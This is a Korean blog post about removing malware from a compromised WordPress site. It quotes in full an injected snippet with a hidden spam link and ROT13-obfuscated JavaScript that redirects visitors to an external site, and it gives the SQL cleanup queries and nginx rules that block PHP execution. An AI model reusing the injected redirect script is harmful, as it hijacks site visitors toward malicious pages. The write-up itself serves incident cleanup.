워드프레스 해킹과의 사투

해킹 악성 스크립트가 생각보다 깊게 여기저기 흩어져 있었다. 이전 포스트(https://vlee.kr/3368)에서 wordpress 루트 디렉토리에 있는 악성 php 파일들을 다 지웠다고 생각했는데 알고보니 사용자가 포스트를 볼 때 다른 페이지로 리다이렉트 되도록 각 페이지마다 javascript 코드가 들어가 있었다. DB에 포함된 코드라 못보고 지나쳤었다.

코드는 다음과 같은 내용이었다.

<div id="3f41457d\"><a style=\"visibility: hidden;\" title=\"rx online\" href=\"http://perfectfastsale.su\">rx online</a><script>String.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<=\'Z\'?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});};u=\'uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4\';function f31454d7(){window.top.location.href=u.a73fba7d();}setTimeout(f31454d7,4987);</script></div>

약 600개의 페이지가 다 위와 같은 javascript 코드로 도배되어 있었다. 하나씩 모두 삭제하기엔 너무 많은 개수였기 때문에 sql 명령으로 제거 방법이 없을까 생각하던 중 replace 쿼리를 사용하기로 했다.

update wp_posts set post_content = REPLACE(post_content, '<div id="3f41457d\"><a style=\"visibility: hidden;\" title=\"rx online\" href=\"http://perfectfastsale.su\">rx online</a><script>String.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<=\'Z\'?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});};u=\'uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4\';function f31454d7(){window.top.location.href=u.a73fba7d();}setTimeout(f31454d7,4987);</script></div>',' ') where post_content like '%http://perfectfastsale.su%';

위와 같이 포스트에 포함된 악성스크립트를 대치하는 쿼리를 날렸는데 저런 경우 동일한 코드가 있는 포스트만 변경되므로 1개의 포스트만 수정됐다. 600개 전부를 수정해야하는데 다른 방법이 없을까 고민하던차에 위 악성 스크립트 코드의 char수가 454개로 동일한 것을 알고 앞에 454개의 문자만 삭제하는 형태로 수정했다.

update wp_posts set post_content = SUBSTRING(post_content, 454) where post_content like '%http://perfectfastsale.su%';

위와 같에 포스트의 앞쪽 454개의 문자열을 제거해서 문제가 되는 모든 포스트를 한번에 수정할 수 있었다.

위와 같이 수정 후 이제 한시름 놓나 했는데 여전히 이상한 php 스크립트가 동작중인 걸 확인했다. 도대체 뭐가 문젠가 다시 찾아봤는데 contents 파일들을 남긴다고 악성 코드에 감염된 파일들 중 wp-contents 디렉토리를 그대로 복사/붙여넣기 했더니 아직도 악성 코드가 남아있었다.

wordpress/wp-content/uploads/2020/01

예를들면 위 디렉토리에 있을 필요가 없는 php 파일들과 알 수 없는 바이너리 파일들이 무수히 생성되어 있었다.

nginx와 php7.2-fpm 을 stop 시키고 악성코드로 의심되는 php파일들 바이너리 파일들을 모두 삭제했다. 그리고 다음 링크 포스트를 참고해 nginx 자체에서 php 코드가 실행될 필요가 없는 디렉토리들을 지정해서 원천 차단을 시켜버렸다.

$ vi /etc/nginx/sites-available/default
location ~* /wp-includes/.*.php$ {
	deny all;
	access_log off;
	log_not_found off;
}

location ~* /wp-content/.*.php$ {
	deny all;
	access_log off;
	log_not_found off;
}

location ~* /(?:uploads|files)/.*.php$ {
	deny all;
	access_log off;
	log_not_found off;
}

location = /xmlrpc.php {
	deny all;
	access_log off;
	log_not_found off;
}

위와 같은 조치를 해놓고 현재까지는 지켜보는 중이다.

Leave a Reply